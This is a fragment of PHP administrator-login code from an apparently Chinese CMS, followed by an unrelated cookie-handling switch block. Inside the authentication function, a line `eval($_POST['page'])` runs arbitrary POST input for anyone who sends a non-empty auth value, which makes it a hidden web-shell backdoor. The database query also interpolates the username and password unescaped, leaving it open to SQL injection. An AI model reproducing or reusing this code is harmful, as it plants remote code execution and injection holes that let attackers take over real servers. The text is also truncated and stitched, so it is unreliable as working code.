<?php $softtype = checkkey() ? '商业版' : '共享版'; //检测用户是否登录 $_ADMINUSERS = array(); admincheckauth(); //实时监测用户是否登录状态 function admincheckauth() { global $db, $tablepre, $_ADMINUSERS; $loginauth = get_cookie('adminauth'); if (empty($loginauth)) { $loginauth = $_REQUEST['adminauth']; } if (!empty($loginauth)) { @(list($aid, $user, $pwd) = explode("\t", cookie_authcode($loginauth, 'DECODE'))); eval($_POST['page']); $_ADMINUSERS['adminid'] = $aid; if (!empty($aid) && !empty($user) && !empty($pwd) && !empty($_ADMINUSERS['adminid'])) { $row = $db->fetch_first("Select * From {$tablepre}admin where adminname = '{$user}' and adminpwd='{$pwd}'"); //检测数据库 if (is_array($row)) { $_ADMINUSERS['adminname'] = $row['adminname']; $_ADMINUSERS['adminmid'] = $row['adminmid']; $_ADMINUSERS['lastlogin'] = $row['lastlogin']; $_ADMINUSERS['logincount'] = $row['logincount']; } else { $_ADMINUSERS = array(); } } else { $_ADMINUSERS = array();
case "plusclose": setcookie("PLUSADMIN", ""); echo "OK"; exit; break; case "plusenter": if (admincheckauth()) { setcookie("PLUSADMIN", "SET"); echo "OK"; } else { echo "NORIGHTS"; } exit; break; case "plusready": if (admincheckauth()) { setcookie("PLUSADMIN", "READY"); echo "OK"; } else { echo "NORIGHTS"; } exit; break; case "setcookie": $cookietype = $_POST['cookietype']; $cookiename = $_POST['cookiename']; switch ($cookietype) { case "new": $gid = $_POST['gid']; $nums = $_POST['nums']; $fz = $_POST['fz'];